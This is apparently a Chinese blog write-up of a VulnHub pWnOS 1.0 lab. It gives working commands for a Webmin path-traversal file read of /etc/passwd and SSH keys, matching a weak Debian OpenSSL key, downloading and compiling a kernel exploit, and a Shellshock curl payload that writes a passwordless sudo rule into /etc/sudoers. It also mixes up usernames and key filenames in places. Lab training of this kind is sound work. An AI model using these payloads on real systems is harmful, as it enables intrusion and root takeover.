目录
开头
1.webmin文件泄露漏洞利用-/etc/passwd/
2.ssh免密登录-私钥伪随机数碰撞:
ssh免密登录原理:
prng伪随机数生成ssh rsa 私钥公钥密码库
openssl和openssh的关系:
ssh登录报错-解决思路-vv
3.提权-内核提权-shellshock提权
内核提权:
shellshock提权:
1.验证是否存在漏洞:
2.Shellshock利用
创建cgi文件:
curl 请求cgi url并在UA构造payload
4.总结:
开头
学习的视频是哔哩哔哩红队笔记:
「红队笔记」靶机精讲:pWnOS1.0 - 选择hard模式再次用完全不同的方法实现这台靶机的渗透测试。_哔哩哔哩_bilibili
打靶时参考文章和本文借鉴文章:
红队打靶:pWnOS1.0打靶思路详解之ssh私钥破解+shellshock漏洞提权-CSDN博客
靶机下载链接见:
pWnOS: 1.0 ~ VulnHub
靶场搭建和解法1,请看上一篇文章:
红队笔记11:pWnOS1.0打靶流程之webmin漏洞超级利用(vulnhub)-CSDN博客
1.webmin文件泄露漏洞利用-/etc/passwd/
我们发现10000端口是,系统管理软件webmin,提供nmap脚本扫描发现存在文件泄露漏洞,并搜索其历史漏洞,找到文件泄露漏洞的而exp,利用exp查看到了/etc/passwd文件。
perl 2017.pl
查看exp使用方法
perl 2017.pl 10.10.10.129 10000 /etc/passwd 0
发现有4个bash环境的用户,在解法1中,我们提供文件泄露漏洞读取成功/etc/shadow文件,并john碰撞哈希密码,获得账号密码登录ssh,获得初步权限,解法2中就不要这种方式获得了。
2.ssh免密登录-私钥伪随机数碰撞:
在管理员的登录主机的有两种选择:
1.直接输入账号密码登录;
2.ssh登录,其中ssh登录也有两种方式,
1,也是使用账号密码登录;
2,ssh免密登录,使用公钥私钥的形式登录;
如果用户使用过免密登录,就会在家目录下的ssh目录中生成一个文件,该文件就是存储免密的登录中的公钥文件。那么我们就可以通过文件泄露漏洞,读取该公钥文件,公钥文件存在,则说明该用户使用过免密登录。
我们以vmware用户为列:
vmwar用户使用过免密登录,这/home/vmware/.ssh/authorized_keys 文件会存在
反之不存在
利用webmin漏洞查看对应的用户的ssh文件
perl 2017.pl 10.10.10.129 10000 /home/vmware/.ssh/authorized_keys 0
该文件存在,说明vmware用户使用过免密登录,那么这个公钥文件又要怎么利用嘞,这就要说到ssh免密登录的原理了.
ssh免密登录原理:
ssh免密登录,就是用户使用私钥和服务器上的公钥匹配,匹配成功即可登录。
那么私钥和公钥又是怎么确定的,公钥私钥的说法是在非对称加密中的,而ssh就采用了rsa非对称加密算法,ras非对称加密算法是基于一个数学理论得出的,两个大质数(q,p)相乘得到的结果(r)很简单,但是通过这个结果因式分解得到这两个大质数很难,所有rsa就 r 作为公钥,q,p组合作为私钥
由名字就可以知道公钥是公开的所有我们在服务器上能找到公钥钥文件,私钥这是私人保存的,我们想要免密登录用户,就要为公钥找到对应的私钥。
通过上面的原理,可以知道我们下一步操作就是获得公钥匹配的私钥,得到私钥即可ssh免密登录。
prng伪随机数生成ssh rsa 私钥公钥密码库
按照正常的ssh rsa私钥是无法通过prng伪随机数获得公钥的,因为这台靶机特定版本号的openssl为ssh生成秘钥对时的bug,这个漏洞是生成rsa证书时prng(伪随机数生成器,注意计算机科学中的伪随机数说的是能通过随机统计检验的一组数)的代码改坏了,导致唯一的随机因子只有pid,当时linux的最大pid很小,例如这台靶机是32768,POC中提到的是65536,导致生成的证书就那么多种可能,可以被穷举出来
这不说明RSA证书不安全,也不说明2048位的RSA不安全,只说明用该环境下的ssh-keygen生成的证书不安全在这种环境下生成的证书,放到其他没有该漏洞的机器上,一样有问题ps:查看openssl版本: dpkg -l | grep ssl , 这台机器是0.9.8e,按照POC的说法,debian系 0.9.8c-1 < 0.9.8g-9 的是有该问题的版本
searchsploit prng
可以看到这 openssl 在这个版本内 PRNG SHH 等关键词,
openssl和openssh的关系:
openssh是ssh协议的开源服务
openssl是ssl协议的开源服务
openssh中的加密都是依赖于openssl
searchsploit prng -m 5622.txt
将exp文件下载下来后,查看:
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
下载后是一个压缩包解压
tar -jxvf 5622.tar.bz2
可以看到,下载的文件解压后是一大堆文件,有的文件有pub后缀,这些文件其实就是伪随机数生成的所有可能的公钥私钥对,其中pub后缀就是公钥
通过伪随机数生成器得到了,爆破字典,接下来是通过公钥比对,获取其对应的私钥
从公钥中取一段出来,长度适中,太短可能碰撞出多个相同的文件,太长耗时太长(30 40个字符长度即可)
接下来,我们在rsa/2048中寻找包含上述字符串的文件,复制上述公钥中的前三四十个字符,用grep搜索即可:
grep -lr 'AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEOrep'
-l 是列出搜索到的文件名
-r 是递归搜索 搜索多层目录
什么都没有搜索到,就说明vmware用户的私钥没有碰撞出来公钥,尝试切换用户尝试。
perl ./2017.pl 10.10.10.129 10000 /home/obama/.ssh/authorized_keys 0
读取obama的公钥文件:
Obama用户也存在公钥,再次取适当长度的一段公钥(30 40长度)匹配
grep -lr 'AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0'
公钥匹配成功,找到公钥文件存放的文件名,再找到对应的私钥文件即可。
ls -list dcbe2a56e8cdea6d17495f6648329ee2-4679*
ls列出来文件名为dcbe2a56e8cdea6d17495f6648329ee2-4679的文件,* 有扩展名和无扩展名都列出来
找到私钥文件,公钥私钥都有了,尝试ssh免密登录
将私钥文件拷贝,并重命名到当前目录:
cp rsa/2048/d8629ce6dc8f2492e1454c13f46adb26-4566 ./mima.txt
ssh登录报错-解决思路-vv
在尝试ssh登录时,经常会遇到因为版本不同/协议/加密方法的不同导致出现很多问题的情况,如果没有经验这条路就会走不通,一定要学会去解决这种问题 -vv看交互详细信息来分析问题所在
sudo ssh -i mima.txt obama@10.10.10.129
-i 私钥文件
报错,告诉我们host key不匹配,对方服务器用的是ssh-rsa,ssh-dss
先输入-o查找额外的参数,然后输入Host key type的首字母H,按下tab键,有许多提示的参数,我们要设置的参数是与host key type 相关的,在这些参数中最有可能的就是HostKeyAlgorithms(主机密钥算法)
sudo ssh -i mima.txt -oHostKeyAlgorithms=ssh-rsa,ssh-dss obama@10.10.10.129
没有报错了,但登录还是需要密码,但是我们再尝试免密登录,不需要密码啊,说明再免密登录过程中还是存在问题,-vv参数查看ssh登录时的详细信息,相当于Debug,会把每一步做了什么提示出来
sudo ssh -i mima.txt -oHostKeyAlgorithms=ssh-rsa,ssh-dss obama@10.10.10.129 -vv
-vv会将执行过程中的数据交互数据请求都显示出来,看看能不能找到原因
下一个身份验证方法:公钥
:将尝试密钥:mima.txt explicit
pubkey_prepare:完成
:尝试私钥:mima.txt
nd_send_pubkey:
不支持相互签名
说我们没有支持相同的签名nd_send_pubkey,没有经验上网查找或者问GPT
还是一样的办法 -o 输入pubkey tab键
有两个相关的参数,第一个公钥接受的密钥类型,,第二个公钥认证 我们是类型不匹配,所有一个是第一个参数。
sudo ssh -i mima.txt -oHostKeyAlgorithms=ssh-rsa,ssh-dss obama@10.10.10.129 -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss
免密登录成功,获得初始shell
3.提权-内核提权-shellshock提权
解法1中提权是通过,webmin特定版本文件泄露漏洞能执行cgi后缀的perl反弹shell文件,并且漏洞利用是以root权限读取文件。
在解法2中我们采用两种提权方式:
1.内核提权;
2.文件泄露漏洞结合shellshock提权;
内核提权:
当我们拿到初步shell,确定目标主机ip,发现linux kernel 版本2.6.22 版本过低(通过查看kali内核版本判断版本是否过低,kali内核版本是5.18)
searchsploit linux kernel 2.6.2
在使用searchsploit 搜索内核提权时,需要注意:
搜索的内核版本不要过细,过细会导致很多好的漏洞被过滤掉
也不能太粗。太粗会导致搜索到的漏洞太多,也要通过经验搜索较为合适的
写的太细(可能会导致好的漏洞被筛选掉):
写的太粗(漏洞太多,并不是所有漏洞都能提权,需要根据经验分析和尝试是否能提权成功,所有太多难筛选漏洞容易浪费时间)
选择合适的的:
searchsploit linux kernel 2.6.2
可以看到还是很多漏洞,但是我们主要是内核提权,通过grep 搜索带关键词的 'Privilege Escalation'
searchsploit linux kernel 2.6.2 | grep 'Privilege Escalation'
筛选出来了只与提权有关的漏洞,接下来就要先分析,哪些漏洞对我们没有用,(排漏洞的优先级,觉得哪些漏洞成功的可能性高,哪些可能性低,依次去尝试漏洞)分析完再尝试觉得有可能性的漏洞:
- 太具体的漏洞利用版本,太具体的通用性不高
- Linux 发行版不一致,
- 测试出一类漏洞中的一个不行时,就可以排除哪一类漏洞
我们筛选出来第一个可能的漏洞:
searchsploit linux kernel 2.6.2 -m 5092.c
开启http服务
php -S 0:80
目标靶机上下载下来
wget http://10.10.10.128:80/5092.c
gcc 5092.c -o 5092
gcc将.c文件编译 -o保存为5092文件 ,并赋予运行权限
内核提权成功。
shellshock提权:
当刚拿到初步立足点的时候(我们通过unam -a看到linux内核比较久,可以尝试内核提权漏洞,也能通过bash –version 查看bash版本bash版本如果小于4.3,很有可能存在shellshock)
bash –version
3.2.25版本 < 4.3 可能存在shellshock漏洞
1.验证是否存在漏洞:
env='() { :; }; echo "shellshock is here"' bash -c date
终端输出shellshock is here 则说明漏洞存在
2.Shellshock利用
这是shellshock Attack CGI programs 利用,其原理是:
CGI(通用网关接口,Common Gateway Interface)
一个在Web服务器中使用的技术,是最早的可以创建动态网页内容的技术之一。它会把一个HTTP请求转化为一次shell调用。
用户将CGI URL发送到Apache Web服务器时,Apache将检查该请求
如果是CGI请求,Apache将使用fork()启动新进程,然后使用exec())函数执行CGI程序。
创建cgi文件:
echo "#!/bin/bash" >runshell.cgi
创建好cgi文件,但是shellshock的利用,需要能够请求cgi文件的url,所以有两种方法:
1.把cgi文件直接创建在web目录中,但权限不够
2.通过webmin文件泄露漏洞访问,但是需要知道漏洞原理,因为直接使用exp利用我们无法控制请求头,无法通过shellshock执行代码
分析webmin文件泄露漏洞:
可以看到tar ==0时执行的代码 加上选择http时执行的代码 payload 是通过在unauthenticated 目录后/..%01/..%01造成文件泄露漏洞的所以我们只需要构造payload:
http://10.10.10.129:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd
..%01/在exp中有40个,但并不是一定需要40个。
那么我们知道文件泄露漏洞原理了,我们就可以通过这个漏洞实现shellshock漏洞了
curl 请求cgi url并在UA构造payload
curl 'http://10.10.10.129:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/obama/runshell.cgi' -A '() { :; }; /bin/echo "obama ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers'
其中-A参数用于添加user-agent字段,填入我们shellshock漏洞利用的payload,其中() { :; };是shellshock漏洞利用的固定部分,后面的语句相当于在靶机的权限管理文件/etc/sudoers中写入了一行语句vmware ALL=(ALL)NOPASSWD:ALL,这行语句相当于将vmware用户的权限设置为ALL,并设置无需密码(否则当执行高权限的指令时还需要vmware用户的密码)。运行如下:
运行shellshock漏洞,发现没有权限,应该是我们cgi文件没有赋予执行权限,赋予完执行权限后,shellshock漏洞利用成功
perl ./2017.pl 10.10.10.129 10000 /etc/sudoers 0
查看权限是否修改成功
写入成功
提权成功
4.总结:
私钥爆破的时候其实是利用了特定版本的openssl的漏洞,只有65535种可能的私钥,这才能爆破出来,一般情况是没有这个漏洞的。shellshock漏洞我个人的理解是,cgi文件是一个bash环境文件,通过每一次的http请求cgi文件,都会转换成一次shell调用,其中在http请求包中的UA头中的数据会被cgi文件接收并执行,这也是shellshock利用中的:Attack CGI programs
在红队笔记的视频中,文件泄露利用路径(auto_wordlists github上开源的敏感文件路径 GitHub - carlospolop/Auto_Wordlists)
打靶总结:
1.主机发现和端口扫描
2.webmin任意文件泄露漏洞利用,读取ssh相关的敏感文件/home/vmware/.ssh/authorized_keys,结合存在漏洞版本的openssh,对私钥进行碰撞爆破,找到了私钥。
3.用私钥实现免密登录vmware账号的ssh。其中涉及到ssh登录的一些参数。
4.shellshock漏洞提权:利用了存在漏洞的bash,通过curl触发shellshock.cgi文件执行,启动有问题的bash,并在user-agent头部添加shellshock漏洞利用的payload,在/etc/sudoers中添加了一行代码,使得vmware账号的权限为ALL。